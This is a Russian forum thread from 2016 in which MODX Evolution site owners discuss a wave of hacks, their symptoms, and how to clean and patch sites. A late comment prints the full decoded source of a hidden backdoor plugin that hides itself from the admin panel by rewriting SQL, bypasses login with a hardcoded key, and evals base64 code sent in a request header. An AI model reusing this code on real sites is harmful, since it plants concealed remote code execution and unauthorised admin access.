Осенне-зимнее обострение по взлому сайтов



Добрый вечер.

В осенне-зимний период участились взломы сайтов и рассылка с них какого-либо спама. Так у меня самыми распространенными видами активности являются:
  • Создание субдиректорий с огромной кучей статических html страниц. В этом случае трафик обычно заграничный идет на страницы. Последний раз просмотры таких страниц шли из Малайзии.
  • Скрытая рассылка спам-сообщение. Из-за чего хостинг блокирует функцию отправки писем и, соответственно, с сайта не уходят заказы, сообщения обратной связи и т.д.

Пробовал поначалу вычищать файлы вручную. Но если вдруг пропускал какой-либо один вредоносный файл, то сайт снова заполнялся этим гуано.

В последнее время целиком перезаливаю MODX и переношу дамп базы данных и шаблоны, картинки и т.д.

Как вы боретесь с данной напастью? Какие методы защиты применяете? В каком месте обычно пролезает эта гадость? Вообщем поделитесь опытом что и как.


UPDATE_1

Спасибо Дмитрию и его evocheck. Обнаружил в базе данных скрытый плагин TransAlias замаскированный на одноименный плагин. В поле plugincode в базе данных был встроен вредоносный код.

Вот как это выглядит

58 комментариев

avatar
Уже как минимум 3 темы :) по этому вопросу зачем еще 1 ?:)
не логично ли было в одной из предыдущих продолжать обсужедниЯ?
avatar
Это я спамлю получается? :)

Может стоит закрепить данную тему где-нибудь на видном месте? Я просто видел только одну и она была связана с конкретно видом защиты от взлома. А у меня тут более широкий вопрос. Даже наверное несколько правильнее сказать :-)

Потому что действительно как проперло на взлом.
Комментарий отредактирован 2016-11-28 19:49:40 пользователем Kanby
avatar
Подтверждаю, пока на паре сайтов словил трипак тоже.
avatar
Какого вида вражеская активность?
avatar
ДА я особо не копал, засрались все системные файлы, плюс левые папки с левыми файлами. Я просто откатил всю папку public из бекапа, благо изменений не было на сайте и обновил файл protect из последнего фикса. Грешу на него. Так как index-ajax уже давно удалил со всех сайтов.
avatar
Сейчас готовим стабильный релиз. Задолбался фиксить баги :(
Но хочеться что бвсе ок было. Уж сильно много всего нового потому и ошибок много…

Вообще помогает обновить до последней версии + вычистить вирусы с помощью ai-bolit.php
avatar
Обычно вредонос лежит в файлах не FTP? Или могут еще в базу залезть?
avatar
конечно могут, плагины левые создаются и их не видно из админки. Выше тема была про это.
avatar
последний и в базе есть в дублях плагина притом их не видно в админке
или в базе или запускать evocheck (есть в extras )
avatar
evocheck можно поставить через админку?
avatar
есть в extras === можно поставить через админку
avatar
Поставил. А как пользоваться?
avatar
Скоро будет с модулем пока руками запускается
manager/evocheck.php
и пароль по умолчанию changeme
avatar
Попытался запустить, получил вот такое ругательство от хостера:

Запрос небезопасен и был отвергнут.
(piterhost)
avatar
о да питерхост он такой
он еще не даст выполнить ai-bolit.php

а еще не всегда ssh работает
недавно лечил там сайт
avatar
В принципе, это решаемо — вытаскиваю тогда сайт на локалку, на локалке пролечиваю, и снова обратно заливаю на хостинг.
avatar
да я так и делал
файлы локально тестил а в базе там и так понятно если есть дубли плагинов то гдето там вирус
avatar
Спешно удаляю на всех сайтах файл index-ajax.php. Я так понимаю, что он не используется вообще, если ajaxsearch не используется в режиме ajax?
avatar
ага все верно
avatar
Дмитрий! А поскажите еще, что сделать на несломанных сайтах еще. Из сделанного уже — обновил до последней официальной версии 1.1.0, установил чрез extras ваш недавний фикс безопасности. Снял права на запись htaccess и index.php. Также на всякий случай в config.inc.php добавляю скрипт, который пишет лог всех post-запросов.
avatar
Да в целом все. Единственное можно было вместо 1.1
уже ставить 1.2RC1 )
avatar
Я ее через extras пытался установить, у меня после эго админка слетела — вместо дерева ресурсов фрейм с ошибками парсера вылез. (может, надо было вруную файлы перезалить и инсталятор запустить?) Так что пока откатил обратно до версии 1.1, если на официальной вылезет то же самое, то буду уже конкретно с этим сайтом разбираться. Правда, на других сайтах пока не эксперементировал, может, он один такой проблемный, на остальных пока 1.1 везде поставил.

А вообще, большое человеческое вам спасибо за оперативность и вообще энтузиазм. Надеюсь, в том числе и вашими стараниями наш любимый modx переживет эту жуткую неделю эпидемий и снова станет системой, не приносящей почти никаких проблем годами :)
avatar
это потому что я не допилил еще автоустановку через extrass
сейчас пилю по другому придумал как по проще сделать
avatar
Так а скройте ее из extras… Мы-то обновимся и через ssh+unzip+инсталятор, а вам работы меньше…

Вирусню бы эту победить уже и спать спокойно. Думаю, не я один эту неделю об этом мечтаю :)
avatar
так мне тестить надо :) потому и повесил туда ее :)
avatar
А… тогда успехов вам в вашей нелегкой работе!
avatar
Вы точно не один :-) А ещё сколько людей не в курсе, что их сайты заражены
avatar
Ничего, узнают — яндекс, гугл или хостер подскажут :)
avatar
О последнем зараженном я вообще узнал от Гугла — он мне прислал заботливое письмо, что у меня стоит устаревшая версия wordpress и ее хорошо бы обновить. поскольку wordpress у меня не было и не будет ни на одном из сайтов, то я даже не открывая сайт сразу полез через ssh, чтобы увидеть там ожидаемую и уже ставшей привычной картину — кучу левых файлов, начинающихся с wp-… :)
avatar
У меня на OpenServer 1.2-d8.1.6 запускаю manager/evocheck.php, появляется приветственный текст «MODX Evolution Hack-Assistant», запрашивает пароль, ввожу его, нажимаю Login, что-то происходит — и потом тишина, все остается как было.

Всё то же приветственное сообщение с приглашением ввести пароль.

Это так и должно быть, если сайт не заражен?
avatar
Ну уж испытания, так испытания: eval какой-нибудь в БД запишите.
avatar
Да блин всё галопом приходится делать. Да. вы правы — придется тормознуться и вдумчиво посмотреть.
avatar
У меня кроме кучи файлов еще в CodeMirror дрянь зазезла…
avatar
Точно в него? Может это дубль дополнения?
avatar
Посмотрел в базе данных.

В таблице modx_site_plugins появилась новая строчка, id которой в админке modx не отображается. Название и описание такое же, как у оригиналного CodeMirror, но в коде плагина — eval и строка в base-64 кодировке…
avatar
Хорошая практика, иметь несколько резервных копий сайта (день, неделя, месяц и тд). Сравнивая файлы (totalcmd,beyond и тд.), можно достаточно быстро выявить вредоносные и удалить их. Ну и конечно залезть напрямую в базу и удалить дубликаты плагинов с вирусами (пока кроме плагинов не встречал зараженных мест).
  • swed
  • 0
avatar
Про файлы-то понятно. Я с помощью kDiff3 сравниваю. Вычистить лишнее и восстановить нужное из бекапа не проблема. Проблема, что сейчас этим приходится заниматься каждый день, да еще и по нескольку раз :)
avatar
есть такое, уже несколько дней чищу и обновляю )
avatar
это совсем не смешно :-)
Комментарий отредактирован 2016-11-29 10:15:01 пользователем Kanby
avatar
Подключайте сервис https://virusdie.ru/ ссылка реферальная =) С прошлой недели пользуюсь, пока всё ок, антивирус вначале нашёл вирусы(поудалял их), фаервол каждый день кого-то блокирует
avatar
Не надо людей обнадеживать вашим virusdie. Ребята которые обслуживают сайт когда нашли вирусы ставили его, из примерно 50 файлов он удалил 4 и радовался что всё ок, хотя при попытке открыть php файл с сервера даже nod32 на компе ругался… Вобщем бесполезная фигня, которая ещё и сама работает как бэкдор
avatar
Добрый день. А кто может уточнить как пользоваться evocheck?
Потому что когда я нажимаю на кнопку scan, то в правой части окна появляется страница сайта собтсвенно который и тестируется.
В левой части остается окно с параметрами, галочками итд.

Это глюк сайта или данного плагина? Не пойму где и как смотреть результат проверки.
Спасибо.
Комментарий отредактирован 2016-12-04 22:32:16 пользователем newminya
avatar
столкнулся и на своём сайте с бедой. Не ясно появилась проблема до заплаток (успели залить через дырку) или уже после. По факту фильтровал активность на сайте, как оказалось индусы, через сервера в Украине.

симптомы: появились папки в корне, массовые редиректы пользователя на сторонние ресурсы, очень много переходов по показателям гугла (яндекс не успел понять в чём дело)

результат: айболитом нарыл около 15 файлов + папки в корне со всяким мусором, зачистил всё перед обновлением, базу не попортило (хоть и до взлома был скрытый плагин, который был удалён + проверены все файлы), в момент заражения появился ещё один плагин «TransAlias», содержимое которого уже отличалось от первого. Система обновлена до 1.2, полет нормальный.

потери: малая часть клиентов увидела мусор на сайте, конечно же допускаю что часть отвалилась. После лечения больше 1000 урлов в панели вебмастера получили статус 404. Гугл очень резко отреагировал и наложил ручные меры на сайт + убрал часть информации из сниппетов в самом поиске + добавил, что сайт был взломан. Неделю велись переговоры с гуглом, как правило отпускает через 3-4 недели с потерей позиций сайта. Но получилось обойтись малой кровью и ровно через неделю с сайта были сняты все ручные меры и убрали надпись «сайт был взломан». Позиции остались на прежних местах и все сниппеты вернули на свои места :)


avatar
а можете подсказать какой TransAlias появлися после заражения? с каким кодом?
у меня один такой:
/*
 * Initialize parameters
 */
if (!isset ($alias)) { return ; }
.... и так далее, он длинный сравнительно.


а другой такой:
require MODX_BASE_PATH.'assets/plugins/transalias/plugin.transalias.php';
avatar
плагин с вредоносным кодом можно увидеть только в phpmyadmin, не важно как он называется, если есть два плагина с одним именем и разными ID, 99% на сайте был или ещё есть вирус
avatar
я просто только что просканировал базу данных с помощью evocheck — нашелся один глист в TinyMCE.
больше вроде не нашло. но теперь еще просмотрю лично все плагины.
спасибо.

ps: интересно. взял разкодировал вирус и скинул уже в развернутом виде на virustotal. он ничего не видит абсолютно, все антивирусы показали ок.
получается только evocheck или ai-bolit могут что-то определить еще и в режеми параноика с личным визуальным контролем пользователя.
Комментарий отредактирован 2016-12-12 22:34:02 пользователем newminya
avatar
вирус на компьютере и «вирус» на сайте — не одно и то же, компьютерный вирус может производить действия практически «самостоятельно» — размножаться, внедряться в процессы, отправлять информацию и т.д., на сайте же это скрипт срабатывающий при действии пользователя или по команде извне, то есть чтобы он заработал его надо каким-либо образом инициировать. Соответственно и сигнатуры таких «вирусов» отличаются от компьютерных, которые находятся антивирусами, по сути они и вирусами то не являются, необфусцированный код такого скрипта практически неотличим от нормального, его вредоносность можно понять только выяснив последовательность действий которые он совершает.
avatar
Кстати, если у вас «глист» в TinyMCE, а TinyMCE 4-й версии, то это может и не глист, а картинка (смотрите комменты ниже).
avatar
нет, я ж написал что раскодировал текст. там длинный код c элементами injectsql.

<code>@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);

$GLOBALS['_vars_b'] = unserialize(base64_decode('YToxOntzOjg6ImF1dGhfa2V5IjtzOjIyOiJwMXRpd2tkdlpoODhNVGduWndhMU9RIjt9'));
extract($GLOBALS['_vars_b']);

if($props){
	$props = unserialize(base64_decode($props));
	if(is_array($props)){
		foreach($props as $k => $v){
			$GLOBALS[$k] = $v;
		}
		extract($props);	
	}	
}

if (!function_exists('get_all_headers'))
{
    function get_all_headers()
    {
           $headers = '';
		   
		if(function_exists('getallheaders')){
			$hdrs = getallheaders();
			
			foreach ($hdrs as $name => $value){
                $name = strtolower(str_replace('-', ' ',trim($name)));
				$headers[str_replace(' ', '-',ucwords($name))] = $value;
			}
			
		}else{
			foreach ($_SERVER as $name => $value)
			{
				if (substr($name, 0, 5) == 'HTTP_')
				{
					$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
				}
			}
		}
       
       return $headers;
    }
}

if(!function_exists('join_path')){
	function join_path($base) {
	    $parts = func_get_args();
        array_shift($parts);
        $last_char  = substr( $parts[count($parts) - 1], -1 , 1);
        
        $base = rtrim($base, "\\/");
        $parts = array_map("trim_path", $parts);
        array_unshift($parts, $base);
        if($last_char == '\\' || $last_char == '/'){
            array_push($parts, '');
        }
        return normalize_path(implode(constant('DIRECTORY_SEPARATOR'), $parts));
	}
}

if(!function_exists('trim_path')){
	function trim_path($p){
	    return trim(str_replace(array("\\", "/"), constant('DIRECTORY_SEPARATOR'), $p), "\\/");
	}
}

if(!function_exists('normalize_path')){
	function normalize_path($p){
	    return str_replace(array("\\", "/"), constant('DIRECTORY_SEPARATOR'), $p);
	}
}

if(!function_exists('injectsql')){
    function injectsql($sql){
        $plugid = $GLOBALS['plugid'];
        
        if(stripos($sql, 'site_plugins') !== false && $plugid){
            
            $count = 0;
            
            $sql = preg_replace('/(site_plugins`?)\s+(?:as)?\s?(`?[a-z0-9_-]+`?)\s+on\s+/i', '$1 $2 on $2.id <> '.$plugid.' and ', $sql, -1, $count );
            
            if($count == 0){
                
                $matches = null;
                $sp_tbl_alias = "";
                
                if(preg_match ('/from\s+((?:[`a-z0-9_]+\s*\.\s*[`a-z0-9_]+site_plugins`?)|(?:[`a-z0-9_]+site_plugins`?))(?:\s*(?:as)?\s*(`?[a-z0-9_-]+`?)\s*)?/i',$sql, $matches)){
                    
                    $skip_words = array('order', 'where', 'group', 'left', 'inner', 'right', 'union', 'join', 'outer');
                    
                    if((count($matches) == 3) and (array_search(strtolower($matches[2]), $skip_words) === false)){
                        $sp_tbl_alias = $matches[2];	
                    }else{
                        $sp_tbl_alias = $matches[1];
                    }
                    
                }
                
                if($sp_tbl_alias){
                    $sql = preg_replace('/where(.+?)(\s+order\s+|\s+group\s+|\s+limit\s+|\s+union\s+|$)/i', " where ${sp_tbl_alias}.id <> $plugid AND " .'($1) $2', $sql, -1, $count);
                
                    if($count == 0){
                        $sql = preg_replace('/\s*order\s+by\s*/i', " where ${sp_tbl_alias}.id <> $plugid order by ", $sql, -1, $count);
                        
                        if($count == 0){
                            $sql .= " where ${sp_tbl_alias}.id <> $plugid";					
                        }                    
                    }
                }            
            }   
        }
        return $sql;    
    }
}


if (!class_exists('DBAP1')) {
    class DBAP1 extends DBAPI{
    
        function query($sql){
            if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
                return parent::query($sql);
            }else{
                return parent::query(injectsql($sql));
            }
        }
    }
}

// $site_key $plugid, $admin_name, $admin_pass

if($modx->event->name === "OnManagerPageInit"){
	$modx->db = new DBAP1();
    if(isset($_GET['a']) && $_GET['a'] == 100){
        $code = file_get_contents(join_path(constant('MODX_MANAGER_PATH') ,'actions/mutate_plugin_priority.dynamic.php'));
        if(stripos($code, 'mysql_query') !== false){
            $code = preg_replace('/^\s*<\?(?:php)?|\?>$/i','', $code);
            $code = injectsql($code);
            ob_end_clean();
            extract($GLOBALS);
            eval($code);
            include_once "footer.inc.php";
            exit;
        }        
    }
}

if($modx->event->name === 'OnManagerAuthentication'){
	if(isset($username) && isset($admin_name) && isset($userpassword) && isset($auth_key))
	if(($username == $admin_name) && ($userpassword == $auth_key)){
        $modx->event->output('1');
    }
}

if($modx->event->name === 'OnWebPageInit'){
	$headers = get_all_headers();
	
    if(isset($headers['X-Authorization'])){
	
        $auth = preg_split("/\s+/", trim($headers['X-Authorization']));
        if(is_array($auth) && count($auth) == 2 && strtolower($auth[0]) == 'token'){
            if( $auth[1] == $auth_key){
				$data = file_get_contents('php://input');
				if($data){
					$data = unserialize(base64_decode($data));
					ob_end_clean();
                    eval(base64_decode($data['e']));
                    exit;
				}
            }
        }   
     }
}

if($modx->event->name === 'OnCacheUpdate'){

    if(isset($GLOBALS['cache_update']) && $GLOBALS['cache_update']){
        $GLOBALS['cache_update'] = false;
    }else{
        $GLOBALS['cache_update'] = true;
        include_once join_path(constant('MODX_MANAGER_PATH') , '/processors/cache_sync.class.processor.php');
        $sync = eval('return new synccache();');
        $sync->setCachepath(join_path(constant('MODX_BASE_PATH'),'assets/cache/'));
        $sync->setReport(false);
        $sync->emptyCache();
    }	
}</code>
Комментарий отредактирован 2016-12-13 14:42:47 пользователем newminya
avatar
Я ступил, в случае, о котором я написал, base64 было бы не в Тини, а в контенте.
avatar
вот мне непонятно. если такой расшифрованный код никто не определяет, то зачем его нужно было шифровать чтобы в итоге спалиться на base64?
avatar
Кстати помимо дубликата плагина нашел img, в атрибуте src которого была длинная base64 строка.
avatar
<img
src=«data:image/gif;base64,R0lGODdhMAAwAPAAA....»>
— это нормально, инлайновая картинка в base64
avatar
Не уверен, если путь выбирается через файл менеджер к загруженной картинке.
img src=«assts/images/picture.jpg?base64_encode(строкаочень длинная прям километр)
Типа того.
И это в бд. Никогда модх не обрабатывал таким образом картинки)
avatar
Вроде бы это TinyMCE 4 так работает, судя по обсуждению здесь.
avatar
Спасибо, гляну, сравню то ли у меня или нет.
avatar
Такое поведение с картинкой если ее растягивать прям в редакторе если делать по уму через параметры картинки то все так же как и было раньше.
avatar
Ув. автор, ты разобрался в чем проблема и как с лечением?
У меня такая же беда, тот же код раскодировал
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.